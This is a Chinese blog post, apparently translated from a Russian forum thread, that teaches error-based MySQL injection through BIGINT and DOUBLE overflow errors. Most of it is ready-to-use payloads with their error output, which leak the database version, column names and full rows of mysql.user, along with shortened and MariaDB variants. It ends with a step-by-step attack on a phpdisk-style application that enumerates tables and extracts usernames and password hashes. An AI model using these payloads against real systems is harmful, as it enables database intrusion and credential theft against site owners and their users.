又一种Mysql报错注入

浏览数：31 / 时间：2015年06月12日

from：https://rdot.org/forum/showthread.php?t=3167

原文是俄文，所以只能大概的翻译一下

这个报错注入主要基于Mysql的数据类型溢出（不适用于老版本的Mysql）

mysql> SELECT 18446744073709551610 * 2; 
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(18446744073709551610 * 2)‘ 

mysql> SELECT -1 * 9223372036854775808; 
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(-(1) * 9223372036854775808)‘

下面是一些利用例

//爆数据裤版本

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)); 

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(2 * if((select ‘5.5‘ from dual),18446744073709551610,18446744073709551610))‘ 

// Вывод: 452 символа

//爆字段名称

mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610);ERROR 

1690 (22003): BIGINT UNSIGNED value is out of range in ‘(2 * if(((select `article`,`dealer`,`price` from (select `test`.`shop`.`article` AS `article`,`test`.`shop`.`dealer` AS `dealer`,`test`.`shop`.`price` AS `price` from `test`.`shop`) limit 1) > (select `test`.`shop`.`article`,`test`.`shop`.`dealer`,`test`.`shop`.`price` from `test`.`shop` limit 1)),18446744073709551610,18446744073709551610))‘ 

// Узнаем имена колонок в таблице

//爆字段值

mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610); 

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(2 * if(((select ‘localhost‘,‘root‘,‘*‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘Y‘,‘‘,‘‘,‘‘,‘‘,‘0‘,‘0‘,‘0‘,‘0‘,‘‘,‘‘ from dual limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),18446744073709551610,18446744073709551610))‘ 

// Выводим данные из всех колонок сразу

既然是报错注入，就还有另外一个东西是需要我们了解一下的。那就是Mysql的报错信息的长度：

mysys/my_error.c:

/* Max length of a error message. Should be kept in sync with MYSQL_ERRMSG_SIZE. */ 
#define ERRMSGSIZE      (512)

除此之外，还有一个问题需要提一下的是如果你使用的是MariaDB(Mysql的一个分之)，在你试图这么做时，会发现并没有爆到想要的信息：

mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610)) 
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(2 * if((select #),18446744073709551610,18446744073709551610))‘

对于MariaDB我们可以去这么解决：

mysql> SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a; 
ERROR 1690 (22003): BIGINT value is out of range in ‘((‘5.5-MariaDB‘ is not null) - -(9223372036854775808))‘ 

// Вывод: 475 символа

现在让我们试着缩短一下我们的Vector

//查询数据库版本

SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))

相当于

select 1E308*if((select*from(select version())x),2,2)

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a

相当于

select if(x,2,2)*1E308 from(select version()x)y

//获取字段名称

SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)

相当于

select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)

//获取所有字段值

SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610)

相当于

select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from mysql.user limit 0),2,2)

//获取指定字段值

select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)

//获取字段个数

select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)

其它

SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a

select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2); 
    => 
    select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit 1),1e308,0);


mysql> select (select * from mysql.user)=1; 
    mysql> select (select * from mysql.user)in(1); 

    ERROR 1241 (21000): Operand should contain 42 column(s)


select 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit 1),1e308,0);


select if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)*1E308


SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a


select (x!=0x00)--9223372036854775808 from(SELECT version()x)y


mysql> select!x-~0.FROM(select+user()x)f; 
    ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not(‘root@localhost‘)) - ~(0))‘

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

自己试了一下，发现还挺好使的也附上吧：

假设http://example.com/file.php?id=1 此处存在SQLi，我们想证明可以获取管理员账户密码

1.先获取字段个数（在这里先用文中的方法代替，实战中由于表名是未知的，所以还是得一万个order by走起）

mysql> select * from pd_files where file_id=1 and (select 1E308*if((select*from pd_files limit 1)>(select 1),2,2)); 

ERROR 1241 (21000): Operand should contain 35 column(s)

2.确定字段个数后，老套路加新报错方法，爆出所有表

mysql> select * from pd_files where file_id=1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,2 * if((SELECT * from (select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database() limit 1) as `` limit 1) < (1), 18446744073709551610, 18446744073709551610); 

ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(2 * if(((select ‘pd_adminsession,pd_advertisements,pd_announces,pd_buddys,pd_categories,pd_comments,pd_cp_shortcut,pd_disk2user,pd_disks,pd_extracts,pd_file2tag,pd_files,pd_folders,pd_gallery,pd_groups,pd_invitelog,pd_langs,pd_links,pd_messages,pd_navigations,pd_orders,pd_plugins,pd_replys,pd_reports,pd_search_index,pd_servers,pd_settings,pd_stats,pd_tags,pd_templates,pd_topics,pd_users‘ from dual limit 1) < 1),18446744073709551610,18446744073709551610))‘

3.发现可疑表名pd_users,初步假设pd_users为管理员表名。爆出该表所有字段:

mysql> select * from pd_files where file_id=1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,1E308*if((select*from(select*from pd_users)``limit 1)>(select*from pd_users limit 1),2,2); 

ERROR 1690 (22003): DOUBLE value is out of range in ‘(1E308 * if(((select `userid`,`username`,`password`,`email`,`gid`,`reset_code`,`is_activated`,`is_locked`,`last_login_time`,`last_login_ip`,`reg_time`,`reg_ip`,`credit`,`wealth`,`rank`,`exp`,`accept_pm`,`show_email`,`space_pos`,`user_file_types`,`user_store_space`,`user_rent_space`,`space_day_credits`,`down_flow_count`,`view_flow_count`,`flow_reset_time`,`max_flow_down`,`max_flow_view` from (select `phpdisk`.`pd_users`.`userid` AS `userid`,`phpdisk`.`pd_users`.`username` AS

4.获取关键字段值：

mysql> select * from pd_files where file_id=1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,1E308*if((select username||password from(select*from pd_users LIMIT 1)a limit 1),2,2); 

ERROR 1690 (22003): DOUBLE value is out of range in ‘(1E308 * if((select (‘xsstest2<a>a‘ or ‘"xss123\‘/‘) from dual limit 1),2,2))‘

最后再验证一下

mysql> select username,password from pd_users; 
+--------------+----------------------------------+ 
| username     | password                         | 
+--------------+----------------------------------+ 
| xsstest2<a>a | "xss123\‘/                       | 
| phpdisk_demo | fcf41657f02f88137a1bcf068a32c0a3 | 
| xsstest      | 44b22f2bf7c7cfa05c351a5bf228fee0 | 
+--------------+----------------------------------+ 
3 rows in set (0.00 sec)